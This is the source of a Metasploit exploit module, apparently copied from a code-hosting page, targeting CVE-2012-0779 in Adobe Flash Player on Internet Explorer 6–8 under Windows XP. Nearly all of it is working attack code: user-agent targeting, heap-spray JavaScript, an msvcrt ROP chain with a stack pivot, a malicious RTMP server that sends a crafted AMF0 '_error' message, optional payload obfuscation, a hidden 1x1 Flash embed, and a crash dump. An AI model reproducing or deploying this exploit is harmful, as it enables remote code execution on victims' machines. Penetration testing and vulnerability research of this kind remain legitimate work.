Path: blob/master/modules/exploits/windows/browser/adobe_flash_rtmp.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::RopDb10include Msf::Exploit::Remote::BrowserAutopwn1112autopwn_info({13:os_name => OperatingSystems::Match::WINDOWS,14:ua_name => HttpClients::IE,15:ua_minver => "6.0",16:ua_maxver => "8.0",17:method => "GetVariable",18:classid => "ShockwaveFlash.ShockwaveFlash",19:rank => NormalRanking, # reliable memory corruption20:javascript => true21})2223def initialize(info = {})24super(25update_info(26info,27'Name' => "Adobe Flash Player Object Type Confusion",28'Description' => %q{29This module exploits a vulnerability found in Adobe Flash30Player. By supplying a corrupt AMF0 "_error" response, it31is possible to gain arbitrary remote code execution under32the context of the user.3334This vulnerability has been exploited in the wild as part of35the "World Uyghur Congress Invitation.doc" e-mail attack.36According to the advisory, 10.3.183.19 and 11.x before3711.2.202.235 are affected.38},39'License' => MSF_LICENSE,40'Author' => [41'sinn3r', # Metasploit module42'juan vazquez' # Metasploit module43],44'References' => [45[ 'CVE', '2012-0779' ],46[ 'OSVDB', '81656'],47[ 'BID', '53395' ],48[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info49[ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ],50[ 'URL', 'https://www.rapid7.com/blog/post/2012/06/22/the-secret-sauce-to-cve-2012-0779-adobe-flash-object-confusion-vulnerability' ]51],52'Payload' => {53# 'Space' => 1024,54'BadChars' => "\x00"55},56'DefaultOptions' => {57'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'58},59'Platform' => 'win',60'Targets' => [61# Flash Player 11.2.202.22862[ 'Automatic', {} ],63[64'IE 6 on Windows XP SP3',65{66'Rop' => nil,67'RandomHeap' => false,68'Offset' => '0x0'69}70],71[72'IE 7 on Windows XP SP3',73{74'Rop' => nil,75'RandomHeap' => false,76'Offset' => '0x0'77}78],79[80'IE 8 on Windows XP SP3 with msvcrt ROP',81{82'Rop' => :msvcrt,83'RandomHeap' => false,84'Offset' => '238',85'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll86}87]88],89'Privileged' => false,90'DisclosureDate' => '2012-05-04',91'DefaultTarget' => 0,92'Notes' => {93'Reliability' => UNKNOWN_RELIABILITY,94'Stability' => UNKNOWN_STABILITY,95'SideEffects' => UNKNOWN_SIDE_EFFECTS96}97)98)99100register_options(101[102OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),103OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),104OptPort.new('RTMPPORT', [ true, "The local port to RTMP service listen on.", 1935 ]),105], self.class106)107end108109def get_target(agent)110# If the user is already specified by the user, we'll just use that111return target if target.name != 'Automatic'112113if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/114return targets[1] # IE 6 on Windows XP SP3115elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/116return targets[2] # IE 7 on Windows XP SP3117elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/118return targets[3] # IE 8 on Windows XP SP3119else120return nil121end122end123124def ret(t)125return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll126end127128def get_rop_chain(t)129print_status("Using msvcrt ROP")130p = "\xbc\x0c\x0c\x0c\x0c" # mov esp,0c0c0c0c ; my way of saying 'f you' to the problem131p << payload.encoded132133code = ret(t)134code << rand_text(119)135code << generate_rop_payload('msvcrt', p, { 'target' => 'xp' })136offset = 2616 - code.length137code << rand_text(offset)138code << [ t['StackPivot'] ].pack("V")139return code140end141142def get_easy_spray(t, js_code, js_nops)143randnop = rand_text_alpha(rand(100) + 1)144145spray = <<-JS146var heap_obj = new heapLib.ie(0x20000);147var code = unescape("#{js_code}");148var #{randnop} = "#{js_nops}";149var nops = unescape(#{randnop});150151while (nops.length < 0x80000) nops += nops;152153var offset = nops.substring(0, #{t['Offset']});154var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);155156while (shellcode.length < 0x40000) shellcode += shellcode;157var block = shellcode.substring(0, (0x80000-6)/2);158159160heap_obj.gc();161for (var z=1; z < 0x185; z++) {162heap_obj.alloc(block);163}164165JS166167return spray168end169170def get_aligned_spray(t, js_rop, js_nops)171randnop = rand_text_alpha(rand(100) + 1)172173spray = <<-JS174175var heap_obj = new heapLib.ie(0x20000);176var #{randnop} = "#{js_nops}";177var nops = unescape(#{randnop});178var rop_chain = unescape("#{js_rop}");179180while (nops.length < 0x80000) nops += nops;181182var offset = nops.substring(0, #{t['Offset']});183var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length);184185186while (shellcode.length < 0x40000) shellcode += shellcode;187var block = shellcode.substring(0, (0x80000-6)/2);188189190heap_obj.gc();191for (var z=1; z < 0x1c5; z++) {192heap_obj.alloc(block);193}194195JS196197return spray198end199200def exploit201@swf = create_swf202203# Boilerplate required to handled pivoted listeners204comm = datastore['ListenerComm']205if comm == "local"206comm = ::Rex::Socket::Comm::Local207else208comm = nil209end210211@rtmp_listener = Rex::Socket::TcpServer.create(212'LocalHost' => datastore['RTMPHOST'],213'LocalPort' => datastore['RTMPPORT'],214'Comm' => comm,215'Context' => {216'Msf' => framework,217'MsfExploit' => self,218}219)220221# Register callbacks222@rtmp_listener.on_client_connect_proc = Proc.new { |cli|223add_socket(cli)224print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP")225on_rtmp_connect(cli)226}227228@rtmp_listener.start229230super231end232233def my_read(cli, size, timeout = nil)234if timeout.nil?235timeout = cli.def_read_timeout236end237238buf = ""239::Timeout::timeout(timeout) {240while buf.length < size241buf << cli.get_once(size - buf.length)242end243}244buf245end246247def do_handshake(cli)248c0 = my_read(cli, 1)249c1 = my_read(cli, 1536) # HandshakeSize => 1536250s0 = "\3" # s0251s1 = Rex::Text.rand_text(4) # s1.time252s1 << "\x00\x00\x00\x00" # s1.zero253s1 << Rex::Text.rand_text(1528) # s1.random_data254s2 = c1 # s2255cli.put(s0)256cli.put(s1)257cli.put(s2)258c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536)259end260261def on_rtmp_connect(cli)262begin263do_handshake(cli)264request = my_read(cli, 341) # connect request length265266case request267when /connect/268rtmp_header = "\x03" # Chunk Stream ID269rtmp_header << "\x00\x00\x00" # Timestamp270rtmp_header << "\x00\x00\x71" # Body Size271rtmp_header << "\x14" # AMF0 Command272rtmp_header << "\x00\x00\x00\x00" # Stream ID273274# String275rtmp_body = "\x02" # String276rtmp_body << "\x00\x06" # String length277rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error278# Number279rtmp_body << "\x00" # AMF Type: Number280rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number281# Array282rtmp_body << "\x0a" # AMF Type: Array283rtmp_body << "\x00\x00\x00\x05" # Array length: 5284# Array elements285rtmp_body << "\x00" # AMF Type: Number286rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number287rtmp_body << "\x00" # AMF Type: Number288rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number289rtmp_body << "\x00" # AMF Type: Number290rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number291rtmp_body << "\x00" # AMF Type: Number292rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number293rtmp_body << "\x00" # AMF Type: Number294rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number295# Crafter Number296rtmp_body << "\x00" # AMF Type: Number297rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call298# Number299rtmp_body << "\x00" # AMF Type: Number300rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number301# Number302rtmp_body << "\x00" # AMF Type: Number303rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number304# Number305rtmp_body << "\x00" # AMF Type: Number306rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number307# Number308rtmp_body << "\x00" # AMF Type: Number309rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number310311trigger = rtmp_header312trigger << rtmp_body313314cli.put(trigger)315@rtmp_listener.close_client(cli)316end317rescue318ensure319@rtmp_listener.close_client(cli)320remove_socket(cli)321end322end323324def cleanup325super326return if not @rtmp_listener327328begin329@rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service)330if @rtmp_listener.kind_of?(Rex::Socket)331@rtmp_listener.close332@rtmp_listener.stop333end334@rtmp_listener = nil335rescue ::Exception336end337end338339def on_request_uri(cli, request)340agent = request.headers['User-Agent']341my_target = get_target(agent)342343# Avoid the attack if the victim doesn't have the same setup we're targeting344if my_target.nil?345print_error("Browser not supported: #{agent}")346send_not_found(cli)347return348end349350print_status("Client requesting: #{request.uri}")351352if request.uri =~ /\.swf$/353print_status("Sending Exploit SWF")354send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })355return356end357358p = payload.encoded359js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))360js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(my_target.arch))361362if not my_target['Rop'].nil?363js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))364js = get_aligned_spray(my_target, js_rop, js_nops)365else366js = get_easy_spray(my_target, js_code, js_nops)367end368369js = heaplib(js, { :noobfu => true })370371if datastore['OBFUSCATE']372js = ::Rex::Exploitation::JSObfu.new(js)373js.obfuscate(memory_sensitive: true)374end375376swf_uri = ('/' == get_resource[-1, 1]) ? get_resource[0, get_resource.length - 1] : get_resource377swf_uri << "/#{rand_text_alpha(rand(6) + 3)}.swf"378379if datastore['RTMPHOST'] == '0.0.0.0'380rtmp_host = Rex::Socket.source_address('1.2.3.4')381else382rtmp_host = datastore['RTMPHOST']383end384385rtmp_port = datastore['RTMPPORT']386387html = %Q|388<html>389<head>390<script>391#{js}392</script>393</head>394<body>395<center>396<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"397id="test" width="1" height="1"398codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">399<param name="movie" value="#{swf_uri}" />400<param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}"401<embed src="#{swf_uri}" quality="high"402width="1" height="1" name="test" align="middle"403allowNetworking="all"404type="application/x-shockwave-flash"405pluginspage="http://www.macromedia.com/go/getflashplayer"406FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}">407</embed>408409</object>410</center>411412</body>413</html>414|415416html = html.gsub(/^ {4}/, '')417418print_status("Sending html")419send_response(cli, html, { 'Content-Type' => 'text/html' })420end421422def create_swf423path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2012-0779.swf")424fd = ::File.open(path, "rb")425swf = fd.read(fd.stat.size)426fd.close427428return swf429end430end431432=begin433434* Flash Player 11.2.202.228435436(348.540): Access violation - code c0000005 (first chance)437First chance exceptions are reported before any exception handling.438This exception may be expected and handled.439eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000440eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc441cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202442Flash32_11_2_202_228!DllUnregisterServer+0x300e84:443104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]444ds:0023:44444470=????????4454460:000> u eip447Flash32_11_2_202_228!DllUnregisterServer+0x300e84:448104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]449104b1b30 53 push ebx450104b1b31 ffd0 call eax451452=end453454455